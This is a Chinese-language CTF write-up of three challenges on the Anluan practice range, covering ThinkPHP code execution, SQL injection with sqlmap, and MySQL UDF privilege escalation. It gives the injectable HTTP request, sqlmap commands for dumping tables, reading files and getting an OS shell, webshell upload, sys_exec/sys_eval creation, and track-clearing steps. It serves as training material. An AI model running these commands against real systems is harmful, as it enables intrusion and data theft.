文章目录
- 前言
- 一、××租房网 (150分)
- 二、企业网站 (300分)
- 三、SQL注入进阶 (550分)
前言
最近看到安鸾的靶场有些比较有意思就打了一下午,有一定难度。
一、××租房网 (150分)
http://106.15.50.112:8031/

刚打开burp就报了thinkphp的代码执行

直接getshell

flag:

二、企业网站 (300分)
http://106.15.50.112:8035/
打开就看到闪灵cms

开启sqlmapapi:
去用户界面测试:

这里注册一个验证码直接空就行:
这里有个注入点:
GET /?type=form&S_id=987181647 HTTP/1.1
Host: 106.15.50.112:8035
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Connection: close
Cache-Control: max-age=0

没跑出来:

寻找其他注入点:

那个api跑的慢直接上-r


这里有个flag

sqlmap -r .\test.txt -D scms -T SL_flag -C “flag,id” -dump

三、SQL注入进阶 (550分)
题目URL:http://106.15.50.112:8023/
提示:flag在服务器根目录
感觉像是sql注入后台上传

感觉像是伪静态:


尝试注入:加*


加-dbs参数爆库:

加–tables爆表:




找一下后台:


这里有upload和images:都可以直接访问

寻找上传点:

制作图片马上传:

尝试修改扩展名:(失败)

限制了后缀
寻找其他点:

这里又来sql注入加上刚找的就3个注入点了
使用sqlmap获取一下shell

直接暴力跑路径:

失败(应该是不是默认的路径)
读取一下apache的配置找找路径:可能存在的路径
/etc/httpd/httpd.conf - 这是一种常见的位置,特别是在使用Red Hat或CentOS等发行版的系统中。
/etc/apache2/httpd.conf - 在使用Debian或Ubuntu等系统时,配置文件可能会位于此位置。
/usr/local/apache2/conf/httpd.conf - 如果安装apache通常会在/usr/local目录下找到它。
/etc/httpd/conf/httpd.conf - 在某些系统中也可以在此位置找到配置文件。
这里是这个路径直接读取:
sqlmap -r .\test.txt --file-read="/etc/httpd/conf/httpd.conf"


直接–os-shell(目录权限不够)

用upload试试:(权限不够)
试试其他的目录:

最后images有权限:

cat看不到,可能是权限问题:


可以通过sqlmap上传自己的shell:
sqlmap 会上传自己的马:


选择我们的马上传:

蚁剑上线:

这里查看flag发现权限不够:

这是mysql权限:
尝试suid失败,查看内核版本为5.15.0比较高gcc也没有,mysql的用户可以使用udf提权使用mysql的权限:
这里的密码为空:

查看可导出文件位置
show variables like '%secure%';
这个mysql>5.1版本
这的secure_file_priv为空可以提权

show variables like 'plugin%'

在kali中生成so文件上传到plugin目录


添加sys_exec和sys_eval函数
create function sys_exec returns string soname 'mysqludf3.so'
create function sys_eval returns string soname 'mysqludf3.so'


清除痕迹:
drop function sys_eval;
drop function sys_exec;


删除shell:

可以自己试试。



















